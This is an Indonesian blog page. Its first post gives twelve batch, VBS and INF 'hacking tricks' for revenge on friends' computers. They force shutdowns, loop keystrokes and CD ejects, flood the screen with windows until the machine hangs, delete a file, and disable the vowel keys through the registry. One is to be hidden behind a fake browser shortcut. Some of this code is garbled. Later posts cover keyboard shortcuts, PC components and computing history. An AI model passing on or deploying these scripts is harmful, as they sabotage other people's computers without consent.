Senin, 07 Oktober 2013

Trik Hacker Komputer Menggunakan Aplikasi Notepad

Berikut ini adalah trik-trik meng-HACK komputer, cara ini sangat cocok dan mudah buat balas dendam ke teman anda, dibutuhkan aplikasi Notepad untuk membuat jebakan or Virus Abal-Abalan yang sangat mematikan bro. Baiklah Saya akan membagikan ilmu meng-HACK komputer. Mulai dari yang pertama.

TRIK 1  - Membuat Forced Shoutdown
-------------------------------------------------
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

-------------------------------------------------
simpan kode script yang berwarna Merah di Notepad dengan nama : xhack.BAT type file : All file 
sebarkan File tersebut di Komputer teman Anda,
maka Komputer korban akan otomatis FORCED SHOUTDOWN 
 

TRIK 2 - Membuat Tombol Caps Lock menyala terus-menerus
------------------------------------------------------------------

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
-------------------------------------------------------
seperti cara yang pertama, hanya berbeda kode script simpan kode yang berwarna biru di Notepad dengan nama : xhack.VBS type File : All File
sebarkan File berikut di Komputer korban maka, Tombol CAPSLOCK akan menyala terus-menerus
(bila dimatikan akan menyala lagi) 
 TRIK 3 - Membuat Pesan Jail mucul terus
------------------------------------------------------
@ECHO off
:Begin
msg * muka kamu sangat jelek
msg * ngaca dulu gih,
msg * hayo lo,cpu lu gw acak acak
msg * udah install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

------------------------------------------------------

simpan kode script yang berwarna hijau dengan nama xhack.BAT type file : All File
Cara ini sangat simple Jail, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah sesuai selera.
 TRIK 4 - Jail dengan Membuka Tutup CD/DVD room
------------------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
-------------------------------------------------------
simpan di Notepad kode berikut dengan nama : xhack.vbs type file : All File
maka DVD/CD roomnya akan membuka dan menutup otomatis, 
 
TRIK 5 - Membuat script mucul terus menerus
-------------------------------------------------------

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
-------------------------------------------------------
simpan kode berikut di Notepad dengan nama : xhack.vbs type file : All File
membuat script bermunculan terus menerus 
 TRIK 6 - Membuat Tombol Backspace menjadi eror - menekan terus menerus
--------------------------------------------------------
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
---------------------------------------------------------- 
simpan kode script berikut di Notepad dengan nama : xhack.vbs type file : All File
maka Tombol Backspace akan eror dan menekan dengan sendirinya 
 TRIK 7 - Cara Membuat Pesan ' Komputer Anda Jelek Banget ' di Notepad/ Wordpad
-----------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "
Komputer Anda Jelek Banget"
loop
----------------------------------------------------------- 
ganti kata Komputer Anda Jelek Banget dengan selera Anda, simpan di Notepad dengan nama : xhack.vbs
 
TRIK 8 - Cara Membuat Notepad Terbuka Otomatis - terus menerus
------------------------------------------------------------

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
------------------------------------------------------------ 
simpan di Notepad dengan nama : xhack.BAT
maka Notepad akan terbuka terus menerus
 TRIK 9 - Membuat Notepad dengan Pesan Jail
-------------------------------------------------------------

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.vbs 
ganti kode yang berwarna merah sesuai dengan selera anda. 
 
TRIK 10 - Cara Membuat Memilih jawaban seperti Quiz di Notepad
-----------------------------------------------------------
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top -----------------------------------------------------------
simpan kode script berikut di Notepad dengan nama : xhack.BAT  
 TRIK 11 - Membuat Komputer Hang dengan Kode script Notepad
-------------------------------------------------------------

start

start

start

start

start

start

start

start

start

start

start

start
-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.BAT
terus buat shortcut palsu terserah mau shortcut apa, aku saranin shortcutnya browser mozilla terus taro aja di desktop target
( efeknya akan membuka CDM yang banyak banget sampe layarnya keluar keluar )
 
 
TRIK 12 - Cara Mematikan Tombol Keyboard
-------------------------------------------------------------
1. Salin baris-baris kode (script) berikut , paste pada Notepad dan simpan dengan nama JAIL.INF

Langsung kita mulai saja :

[Version]
Signature=”$Windows NT$”

[DefaultInstall]
AddReg =AIUEO

[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,00

—————————————

2. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install

3. Log Off komputernya agar trik ini berfungsi.

NB :

Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard.

Untuk menormalkannya, silahkan salin script berikut :

—————————————

[Version]
Signature=”$Windows NT$”

[DefaultInstall]
DelReg =normal

[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”

—————————————

—> Simpan dengan nama “NORMAL.INF
Klik kanan file ini, pilih >Install
Log Off komputernya.


Semoga Bermanfaat . . . .




 

Minggu, 15 September 2013

Mengenal Fungsi Tombol Pada Keyboard

Fungsi Pada Tombol Keyboard : (Langsung Aja Ya)

Setiap tombol pada keyboard memiliki fungsi pada masing-masing tombol. Tetapi akan ada manfaat baru disaat kita memadukan dari dua tombol yang ditekan dengan berbarengan.

Didalam keyboard sendiri mempunyai tombol-tombol yang mempunyai peranannya masing-masing. Didalam keyboard ada tombol alfabet dari a-z yang berperan untuk menuliskan huruf a-z pada komputer. Tak hanya tombol tersebut ada sebagian tombol lain yang juga umumnya ada pada tiap-tiap keyboard yang sesuai standart. Berikut manfaat tombol selain tombol alfabet yang ada pada keyboard :
  • Tombol back space yang berperan untuk mendelete satu karakter yang sudah terlanjur diketik. Bila dipadukan dengan tombol ctrl maka manfaat dari tombol back space tak akan mengapus satu karakater dari depan, tetapi menghapus satu kata dari depan. Satu kata merupakan kumpulan dari sebagian karakter yang dipisahkan oleh spasi.
  • Tombol caps lock. Jika tombol ini ditekan maka lampu dapat menyala yang menunjukkan bahwa huruf besar atau kapital yang kita pakai, tetapi bila mati maka huruf normal yang digunakan yaitu huruf kecil sebagaimana umumnya.
  • Tombol delete untuk menghapus satu karakter yang ada pada posisi di belakang kursor. Bila dipadukan dengan tombol ctrl maka manfaat dari tombol delete tak akan mengapus satu karakter yang ada di belakang kursor, tetapi menghapus satu kata yang ada di belakang kursor.
  • Tombol end berperan untuk memindahkan kursor ke akhir baris dari tulisan. Bila dipadukan dengan tombol ctrl maka tombol end dapat berperan untuk segera menuju di bagian akhir dari lembar kerja.
  • Tombol esc yang berperan dalam membatalkan suatu perintah yang telah dikerjakan di menu. Seluruh perintah yang terlanjur diberikan dapat dibatalkan saat itu juga bila tombol esc ditekan.
  • Tombol enter berperan untuk beralih ke baris yang baru dari baris yang lama. Disamping itu tombol enter juga mempunyai manfaat sebagai perintah tegas dilaksanakannya sesuatu perintah yang didapatkan pada program yang ada di komputer.
  • Tombol home mempunyai manfaat untuk membawa kursor ke sudut kiri atas atau awal baris. Bila dipadukan dengan tombol ctrl maka tombol home dapat berperan untuk segera menuju di bagian awal dari lembar kerja.
  • Tombol page up mempunyai manfaat untuk menggerakkan baris satu layar ke arah atas.
  • Tombol page down mempunyai manfaat kebalikan dari page up yaitu untuk menggeserkan satu garis ke bawah.
  • Tombol tab berperan untuk memindahkan kursor didalam satu tabulasi ke arah kanan. bila ditekan terus maka perintah tersebut dapat berulang yaitu terus memindah kursor didalam satu tabulasi ke arah kanan dari posisi awal.
Fungsi lainnya yang bisa dilakukan yaitu kombinasi atau penggabungan dengan Tombol lainnya terutama saat kita menjalan program Ms Word. Seperti misalnya:

Tombol Kombinasi Antara CTRL + ...

Ctrl + A : Select All
Ctrl + B : Bold
Ctrl + C : Copy
Ctrl + D : Font.
Ctrl + E : Center Alignment.
Ctrl + F : Find.
Ctrl + G : Go To.
Ctrl + H : Replace.
Ctrl + I : Italic.
Ctrl + J : Justify Alignment.
Ctrl + K : Insert Hyperlink.
Ctrl + L : Left Alignment.
Ctrl + M : Hanging Indent.
Ctrl + N : New.
Ctrl + O : Open.
Ctrl + P : Print.
Ctrl + Q : Normal Style.
Ctrl + R : Right Alignment.
Ctrl + S : Save / Save As.
Ctrl + T : Left Indent.
Ctrl + U : Underline.
Ctrl + V : Paste.
Ctrl + W : Close.
Ctrl + X : Cut.
Ctrl + Y : Redo.
Ctrl + Z : Undo.
Ctrl + 1 : Single Spacing.
Ctrl + 2 : Double Spacing.
Ctrl + 5 : 1,5 lines.
Ctrl + Esc : Start Menu.

Untuk Tombol dengan Awalan F1 sampai dengan 10 berikut adalah Fungsinya :
F1 : Menjalankan fungsi pertolongan yang disediakan pada Word.
F2 : Memindahkan teks atau objek yang dipilih.
F3 : Menjalankan perintah AutoText.
F4 : Mengulangi perintah sebelumnya.
F5 : Menjalankan perintah Find and Replace atau Goto.
F6 : Menjalankan Perintah Other Pane.
F7 : Memeriksaan kesalahan ketik dan ejaan teks.
F8 : Awal perintah penyorotan/pemilihan teks atau objek.
F9 : Mengupdate Field (Mail Merge).
F10 : Mengaktifkan Menu.
F11 : Memasukkan field berikutnya (Mail Merge).
F12 : Mengaktifkan dialog Save As.

Dan berikut Untuk Tombol-tombol Tambahannya :

Esc : Membatalkan dialog / perintah.
Enter : Melaksanakan pilihan atau mengakhiri suatu paragraf.
Tab : Memindahkan teks sesuai dengan tanda tab yang ada pada ruler horizontal.
Windows : Mengaktifkan Menu Start.
Shortcut : Mengaktifkan shortcut pada posisi kursor.
Delete : Menghapus 1 karakter di sebelah kanan kursor.
Backspace : Menghapus 1 karakter di sebelah kiri kursor.
Insert : Menyisip karakter di posisi kursor.
Home : Memindahkan posisi kurosr ke awal baris.
End : Memindahkan posisi kurosr ke akhir baris.
Page Up : Menggulung layar ke atas.
Page Down : Menggulung layar ke atas.
Up : Memindahkan kursor 1 baris ke atas.
Down : Memindahkan kursor 1 baris ke bawah.
Left : Memindahkan kursor 1 karakter ke kiri.
Right : Memindahkan kursor 1 karakter ke kanan.
Num Lock On : Fungsi pengetikan angka-angka dan operator matematik aktif.
Num Lock Off : Fungsi tombol navigasi aktif.
Shift + F10 : Membuka menu pintas, sama seperti mengklik kanan.
Shift + Delete : Menghapus item yang dipilih secara permanen tanpa menempatkan item dalam Recycle Bin.
Ctrl + Right Arrow : Memindahkan titik penyisipan ke awal kata berikutnya.
Ctrl + Left Arrow : Memindahkan titik penyisipan ke awal kata sebelumnya.
Ctrl + Down Arrow : Memindahkan titik penyisipan ke awal paragraf berikutnya.
Ctrl + Up Arrow : Memindahkan titik penyisipan ke awal paragraf sebelumnya.
Ctrl + F4 : Close dokumen aktif dalam program-program yang memungkinkan Anda untuk memiliki beberapa dokumen yang terbuka secara bersamaan.
Ctrl + Shift + Tab : Bergerak mundur melalui tab.
Shift + Tab : Bergerak mundur melalui pilihan .
Alt : Penekanan tombol yang tidak dikombinasikan dengan tombol lain hanya berfungsi untuk mengaktifkan atau memulai penggunaan menu bar.
Alt + F4 : Menutup item aktif, atau keluar dari program aktif.
Alt + Enter : Menampilkan properti dari objek yang dipilih.
Alt + Spacebar : Buka menu shortcut untuk jendela aktif.
Alt + Tab : Switch antara item yang terbuka.
Alt + Esc : Cycle melalui item dalam urutan yang mereka telah dibuka.

Jumat, 13 September 2013

Komponen-Komponen Komputer dan Fungsinya

Fungsi Tiap-Tiap Komponen : 

1. Motherboard

Motherboard adalah komponen komputer tempat kita menancapkan atau memasangkan komponen-komponen komputer lainnya seperti processor, video card, sound card, hard disk, dan lain sebagainya. Motherboard berfungsi untuk menghubungkan setiap komponen-komponen komputer tersebut agar bisa saling berkomunikasi satu sama lain. Setiap motherboard memiliki spesifikasi-nya masing-masing, spesifikasi seperti processor apa yang didukungnya dan berapa kapasitas maksimal RAM yang didukung oleh motherboard tersebut.




2. Processor
Jika sebuah komputer diibaratkan sebagai seorang manusia, maka processor adalah otak manusia tersebut. Processor atau CPU (Central Processing Unit) adalah sebuah komponen komputer yang bertugas untuk mengeksekusi instruksi atau melakukan perhitungan-perhitungan. Sebelum membeli sebuah processor kalian harus mencari tahu terlebih dahulu socket processor apa yang dimiliki oleh motherboard kalian, apakah socket AM2, socket LGA 775, atau lain sebagainya.





3.  RAM

RAM adalah singkatan dari Random Access Memory, yaitu sebuah komponen komputer yang berfungsi untuk menyimpan data sementara dari suatu program yang sedang kita jalankan dan data-data tersebut bisa diakses secara acak atau random. Sebelum membeli sebuah RAM kalian harus mencari tahu terlebih dahulu slot RAM apa yang dimiliki oleh motherboard kalian, apakah SDRAM, DDR, DDR2, atau lain sebagainya




4. Video Card

Video card ini adalah komponen komputer yang berfungsi untuk menghasilkan output gambar untuk ditampilkan di monitor. Sebelum membeli sebuah video card, kalian harus mencari tahu terlebih dahulu slot video card apa yang dimiliki oleh motherboard kalian, apakah slot PCI, AGP, PCI-X, PCI Express, atau lain sebagainya. 







5. Sound Card
Sound card adalah sebuah komponen komputer yang berfungsi untuk menghasilkan suara dan menyediakan port-port inputan dan outputan. Sound card biasanya telah disediakan secara onboard di motherboard-motherboard baru yang ada di pasaran saat ini, jadi kalian tidak perlu mengeluarkan dana ekstra untuk membeli sebuah sound card.  







6. Hard Disk
Hard disk adalah komponen komputer tempat kita menyimpan data. Semakin besar kapasitas hard disk yang kita miliki di komputer kita maka semakin banyak juga data yang bisa kita simpan di komputer kita tersebut. Sebelum membeli hard disk kalian harus mencari tahu terlebih dahulu interface hard disk apa yang dimiliki oleh motherboard kalian, apakah IDE, SCSI, SATA, atau lain sebagainya.







7. Optical Disc Drive

Walaupun tanpa sebuah optical disc drive komputer kita bisa nyala atau berfungsi, tetapi rasanya tanpa komponen komputer yang satu ini komputer kita seperti terisolasi dari dunia luar, terisolasi dari dunia luar maksudnya kita akan kesulitan jika suatu saat ingin meng-copy data, meng-install program, menonton film VCD atau DVD, yang semuanya tersimpan di dalam sebuah keping CD atau DVD. Optical Disc Drive ini bisa berupa CD-ROM, DVD-ROM, DVD-RW, Blue-Ray, atau lain sebagainya. Sebelum membeli sebuah optical disk drive kalian harus mencari tahu dulu interface apa yang dimiliki oleh motherboard kalian, apakah IDE, SATA, atau lain sebagainya.



8. Monitor

Monitor adalah komponen komputer yang berfungsi untuk menampilkan gambar yang di-output dari video card. Monitor komputer yang banyak tersedia di pasaran saat ini adalah monitor CRT (monitor tabung) dan monitor LCD, namun saat ini kebanyakan orang-orang lebih memilih menggunakan monitor LCD (terutama di kantor-kantor) karena monitor LCD ini selain tampilannya lebih modern, juga memiliki kelebihan lainnya yaitu hemat space dan hemat listrik.





9. Keyboard
 

Keyboard adalah sebuah komponen komputer inputan yang berfungsi sebagai alat untuk mengetikkan sesuatu. Selain keyboard standard, keyboard komputer saat ini memiliki model bermacam-macam, seperti keyboard mini, keyboard fleksibel yang bisa dilipat, keyboard wireless yang menggunakan bluetooth, dan lain sebagainya.     




10. Mouse



Mouse adalah komponen komputer inputan yang berfungsi untuk menggerakan cursor di layar monitor kita dan untuk meng-klik sesuatu seperti tombol-tombol di sebuah program aplikasi. Mouse juga bermacam-macam modelnya, ada mouse standard, mouse untuk keperluan gaming, mouse wireless yang menggunakan bluetooth, dan lain sebagainya.  






11. Power Supply


Ibarat sebuah mobil yang tidak bisa berjalan jika tidak memiliki bahan bakar, maka sebuah komputer pun tidak akan bisa nyala atau berfungsi jika tidak memiliki power supply atau PSU (Power Supply Unit) ini. Power supply adalah sebuah komponen komputer yang berfungsi untuk mensuplai arus listrik ke komponen-komponen komputer lainnya seperti motherboard, hard disk, optical disk drive, dan lain sebagainya.








12. Casing

Casing komputer adalah sebuah komponen komputer yang berfungsi sebagai tempat kita meletakkan atau menempelkan motherboard, power supply, optical disc drive, hard disk, dan lain sebagainya. Casing komputer ini dibedakan berdasarkan ukurannya yang sering disebut juga sebagai form factor (seperti ATX dan Micro ATX) dimana form factor ini mengacu kepada form factor motherboard yang didukungnya.   







13.  UPS 

Pada dasarnya fungfsi UPS adalah sebagai penstabil listrik dan untuk mem-backup kebutuhan listrik. Ini memungkinkan komputer yang kita gunakan akan terlindungi oleh perangkat UPS. Apabila listrik padam maka UPS akan berfungsi sebagai pengespor listrik ke komputer. Dengan itu maka komputer tidak akan mati walau listrik padam karena sudah ada UPS sebagai penambah daya listrik.










14. Speaker

Fungsi speaker secara keseluruhan adalah mengubah gelombang listrik dari perangkat penguat audio menjadi gelombang suara atau getaran. Proses pengubahan gelombang elektromagnet menjadi gelombang bunyi tersebut dapat terjadi karena aliran listrik dari penguat audio dialirkan kedalam kumparan dan terkena pengaruh gaya magnet pada speaker, sesuai dengan kuat lemahnya arus listrik yang diterima, maka getaran yang dihasilkan pada membran akan mengikuti dan jadilah gelombang bunyi yang dapat kita dengarkan.

Sejarah Penciptaan dan Perkembangan Komputer dari Masa Ke Masa

PENGENALAN
         Komputer adalah sebuah mesin elektronik yang amat berguna pada zaman dahulu dan sekarang. Komputer dapat meringankan kerja seharian manusia, membantu menyelesaikan tugas-tugas manusia dengan cepat dan tepat. Komputer adalah sebuah mesin yang boleh diprogramkan untuk kepelbagaian guna. Komputer dapat menerima data mentah, rajah dan akan memprosesnya kemudian memanipulasikan untuk dijadikan maklumat yang berguna. Ia juga diprogram untuk menerima input, lalu memproses untuk mengeluarkan output seperti yang dikehendaki dan ia juga berupaya menyimpan maklumat tersebut untuk kegunaan pada masa akan datang. Komputer telah menjadi sebahagian daripada kehidupan manusia kerana ia mempunyai kelajuan (speed), kebolehpercayaan (reliability), keupayaan storan (storage capability), produktiviti (productivity), membuat keputusan dan dapat mengurangkan kos. Sebagai kesimpulanya, komputer adalah sebuah mesin elektronik yang dapat menyelesaikan tugas-tugas manusia dengan lebih pantas dari tenaga manusia dan keputusannya tepat.



SEJARAH PENCIPTAAN KOMPUTER

Sejarah penciptaan komputer bermula dengan terciptanya alat-alat perniagaan, seperti Abakus yang sekarang ini dilakukan oleh komputer. Pada zaman dahulu pengiraan dilakukan dengan menggunakan jari, manik, kayu dan kulit kerang. Dengan terciptanya Abakus 5000 tahun yang lalu telah memudahkan ahli perniagaan dalam proses pengiraan asas campur, tolak dan darab.Ia telah digunakan secara meluas oleh ahli perniagaan China, Turki dan Yunani.
 Blaise Pascal merupakan seorang ahli saintis dan matematik Perancis yang di lahirkan pada tahun 1623. Pada tahun 1642, beliau telah merekacipta satu mesin pengiraan  mekanikal yang pertama mengikut prinsip persepuluhan.
George Boole adalah seorang ahli matematik Inggeris pada tahun 1815-1864. Beliau telah mengembangkan konsep logik algebra True/False. Beliau juga telah memperkenalkan simbol matematik dan asas kepada penggunan dalam merekabentuk litar logik dalam komputer.
Charles Babbage dilahirkan pada 1792, merupakan seorang ahli matematik dan perekacipta. Beliau telah membina “The Difference Engine” yang boleh menyelesaikan pengiraan sifir matematik. Kemudian beliau telah memikirkan satu penciptaan mesin lain iaitu “Analytical Engine” yang diharapkan dapat melaksanakan pengiraan yang pelbagai. Malangnya mesin tersebut tidak sempat dibina semasa hidupnya. “Analytical Engine” mempunyai ciri-ciri komputer pada masa sekarang iaitu mempunyai peranti input, secondary storage, Processor, unit kawalan dan peranti output.
 
Augusta Ada Byron membantu Charles Babbage dalam membina arahan-arahan pengiraan bagi mesin “Analytical Engine”. Beliau merupakan pengaturcaraan komputer yang pertama dengan menggunakan “Analytical Engine”. Bahasa pengaturcaraan ‘ADAdiambil sempena namanya. Beliau juga telah menerbitkan nota yang menggalakan ahli sains supaya menyempurnakan apa yang Charles Babbage tidak sempat lakukan.
Herman Hollerith telah membangunkan satu peranti automat yang boleh memproses pengiraan banci. Mesin tersebut dapat menyiapkan pengiraan banci dalam masa dua tahun. Pada tahun 1880, banci penduduk Amerika Syarikat diketahui keputusannya. Perbezaan diantara mesin Hollerith dan Babbage ialah mesin Hollerith menggunakan kuasa elektrik manakala mesin Babbage menggunakan kuasa mekanikal.
Howard Aiken telah memperkenalkan mesin elektromekanikal yang digelar MARK I. Dengan terhasilnya MARK I maka bermulalah komputer era moden. Mesin ini adalah untuk menyelesaikan pengiraan asas dan masalah fungsi-fungsi trigonometri. Ciri-ciri MARK I , mempunyai ketinggian 8 kaki dan panjangnya 55 kaki. Ia dibina daripada besi dan kaca, mengeluarkan bunyi yang kuat semasa pemprosesan dilalakukan, mengandungi lebih daripada 750000 bahagian yang diikat bersama menggunakan Wayar sepanjang 500 batu. Sebahagiannya daripada sistem berada pada aras yang berbeza. Dengan itu pengguna perlu naik ke atas mesin menggunakan tangga untuk memasangkan suis. Sementara itu, Dr. John Mauchly dan pelajarnya J. Presper Eckert diminta oleh pegawai tentera Amerika membina mesin yang boleh mengira peluru-peluru dengan cepat. Mereka telah merujuk kepada hasil kerja Dr. John Atanasoff dan pembantunya Clifford Berry. Atanasoff dan Berry berjaya membina komputer digital yang pertama menggunakan elektronik yang di gelar ABC(Atanasoff-Berry Computer). Manakala Mauchly dan Eckert telah menggunakan ABC sebagai asas untuk membangunkan komputer yang lain iaitu ENIAC(Electronic Numerical Integrator And Calculator). ENIAC merupakan komputer pertama yang dicipta untuk tujuan umum kemudian muncul UNIVAC I iaitu komputer pertama yang diperdagangkan secara komersil. 
 
 
PERMULAAN ERA KOMPUTER.
Dari zaman dahulu hingga sekarang sudah wujud 4 generasi. Ia berlaku dalam masa lebih kurang 40 tahun.
GENERASI PERTAMA (1951 - 1958)
 Pada tahun 1937-1938 Dr. John V.Atanasoff dan pembantunya Clifford Berry telah merekacipta dan membina komputer elektronik digital yang pertama. Komputer tersebut digelar ABC (Atanasoff-Berry Computer). Manakala John W.Mauchly dan J.Presper Eckert telah mencipta ENIAC (Electronic Numerical Integrator And Calculator)  pada tahun 1945. ENIAC boleh melakukan 5000 percampuran dan 300 pendaraban sertiap saat. 2 tahun kemudian mereka telah menubuhkan syarikat yang dinamakan Spery Rand dan seterusnya mengeluarkan UNIVAC I (Universal Automatic Computer) dalam tahun 1951. UNIVAC I merupakan komputer pertama yang digunakan untuk memproses data perniagaan. Ia digunakan secara meluas oleh Biro Banci Penduduk Amerika Syarikat. UNIVAC I berfungsi menggunakan tiub vakum/hampagas sebagai kompenan dalaman komputer untuk memproses dan menyimpan maklumat. Ia menggunakan tenaga elektrik, bersaiz besar dan berat. Komputer ini juga amat susah untuk di selenggarakan dan selalu sahaja rosak. Pengaturcaraan dilakukan dalam bahasa mesin iaitu 0 & 1 (bahasa peringkat rendah). Keupayaan storan komputer pada generasi pertama ini adalah diantara 8000 hingga 20000 aksara. Manakala, pengiraannya pula dilaksanakan dalam “microseconds”
GENERASI KEDUA (1959 - 1961)
 Komputer generasi ini menggunakan transistor dan diod iaitu peranti kecil yang memindahkan signal elektrik melalui  resistor bagi menggantikan tiub-tiub vakum/hampagas. Transistor adalah singkatan bagi TRANsfer reSISTOR. Contoh komputer yang dicipta ialah DEC PDP-8, IBM 7090, IBM 7094 dan lain-lain lagi. Kelebihan transistor ia dapatr berfungsi lebih baik daripada komputer generasi pertama.yang menggunakan tiub hampagas. Komputer generasi ini bersaiz lebih kecil, ringan, cepat dan murah serta tidak perlu warm-up time. Penggunaan tenaga elektrik yang kurang jika dibandingkan dengan komputer generasi pertama. Pengaturcaraan dilakukan dalam bahasa peringkat tinggi iaitu FORTRAN (1954) dan COBOL (1959). Manakala keupayaan storannya terus meningkat iaitu 16000 hingga 64000 aksara dan ia menggunakan bekas cakera yang boleh digerakkan (removable disk cartridge). Pengiraannya dilaksanakan dalam “microseconds”.
GENERASI KETIGA (1965 - 1970)
 Komputer pada generasi ini pula telah menggunakan litar bersepadu iaitu litar elektrik yang mengandungi cip silikon yang sangat kecil bagi menggantikan transistor. Harga cip yang murah menyebabkan  perkembangan alat elektronik yang pesat dan kejatuhan harga alat tersebut. Komputer ini bercirikan litar bersepadu iaitu litar elektrik yang mengandung cip silikon yanf sangat kecil terdiri daripada beribu-ribu transistor. Cip ini lebih murah, padat dan lebih dipercayai. Contoh komputer yang dicipta ialah IBM 360 dan mikrokomputer seperti APPLE II, IBM PC, Sinclair dan lain-lain lagi. Saiz komputer menjadi 1/3 lebih kecil daripada komputer generasi pertama. Ia juga boleh mengamalkan konsep multiprogramming dan multiprocessing iaitu beberapa aturcara boleh dilarikan dengan serentak dan berkongsi sumber yang sama dan ini meningkatkan keberkesanan komputer. Proses pengiraannya dilaksanakan dalam “nanoseconds”. Pemprosesan interaktif diperkenalkan di mana pengguna berhubung terus dengan komputer. Kaedah pencapaian ini menyebabkan industri perkhidmatan pelanggan berkembang. Minikomputer diperkenalkan di mana fungsinya sama seperti "full size system" tetapi ia lebih kecil, perlahan dan lebih murah.
GENERASI KEEMPAT (1971 - Sekarang)
 Semenjak tahun 1970-an komputer bertambah laju dan boleh dipercayai. Generasi keempat ini merupakan lanjutan daripada generasi ketiga di mana pada generasi ketiga cip-cip digunakan untuk membina ingatan dan ligik komputer. Kesemua cip disimpan untuk membangunkan teknologi yang seterusnya iaitu general-purpose-on-a-chip yang digelar mikropemproses (microprocessor). Mikropemproses mengantikan litar bersepadu. Mikropemproses juga boleh didapati pada jam digital, mesin kira, dan pelbagai mesin di pejabat dan di rumah. Mikropemproses mula dijual pada tahun 1971. Contoh komputer yang terdapat pada generasi ini adalah dari IBM yang menggunakan cip Intel 80286, cip Intel 80386, cip Intel 80486 (mengandungi 1.2 juta transistor yang berukuran 0.4" x 0.5" dan berupaya melaksanakan 15 juta arahan per saat). Cip Intel Pentium (mengandungi 3.1 juta transistor yang berupaya melaksanakan 112 juta arahan per saat). Cip Intel Pentium Pro (mengandungi 5.5 juta transistor yang berupaya melaksanakan 250 juta arahan per saat). Cip Intel Pentium Pro MMX, Cyrix, AMD, Pentium II dan lain-lain lagi. Antara ciri-ciri yang terdapat pada komputer generasi ini ialah saiznya yang lebih kecil, penggunaan tenaga elektrik yang minimum. Ia boleh digunakan bersama dengan beberapa bahasa pengaturcaraan. Keupayaan storannya terus meningkat ke 1 juta hingga 50 juta aksara dan pengiraan dilaksanakan dalam “picoseconds” Saiz komputer sekarang adalah 100 kali lebih kecil daripada saiz komputer generasi pertama dan satu cip adalah lebih berkuasa daripada ENIAC.
GENERASI KELIMA
 Komputer generasi kelima iaitu komputer bagi generasi akan datang ini masih belum diperkenalkan secara meluas. Namun usaha kearah tersebut telah dimulakan oleh beberapa negara maju. Ianya juga masih didalam peringkat penyelidikan, dimana negara Jepun merupakan negara yang paling banyak membuat penyelidikan. Matlamat mereka adalah untuk membina komputer yang lebih berkuasa dan kepintaran buatan (artificial intelligence), sistem pakar (expert sistem), robotik dan sebagainya. Saiz perkakasan akan terus menjadi lebih kecil sementara daya ingatan dalamannya terus meningkat dengan pesat.
PENGELASAN KOMPUTER
 Pengelesan komputer adalah mengikut kepada ukuran fizikal dan keupayaannya iaitu, seperti superkomputer, komputer kerangka utama, Mini komputer dan mikrokomputer.
SUPERKOMPUTER
 Superkomputer atau nama lainnya kerangka utama yang besar. Perkembangannya terhad kepada beberapa ratus unit sahaja di seluruh dunia. Ini kerana harganya yang amat mahal. Superkomputer mempunyai unit pemprosesan pusat yang kompleks dengan keupayaan yang sangat pantas. Ia juga boleh memproses berbillion arahan per saat (BIPS). Ia digunakan khas bagi menyelesailkan masalah saintifik yang rumit dan canggih, contohnya CRAY I, CRAY II, CRAY III, dan CDC CYBER205.
KOMPUTER KERANGKA UTAMA
Komputer Kerangka Utama yang pertama diperkenalkan sejak tahun 40-an adalah seperti UNIVAC, IBM 360, dan lain-lain lagi. Komputer jenis ini kebanyakannya dimiliki oleh organisasi yang besar dan pusat pengajian tinggi. Ia juga bersaiz besar dan berkeupayaan memproses sejumlah data yang banyak dengan pantas dan tepat, berupaya memproses data pada kelajuan yang tinggi dan berjuta-juta arahan per saat (MIPS). Ia juga membenarkan komputer dikongsi oleh beratus-ratus pengguna pada satu masa.
MINI KOMPUTER
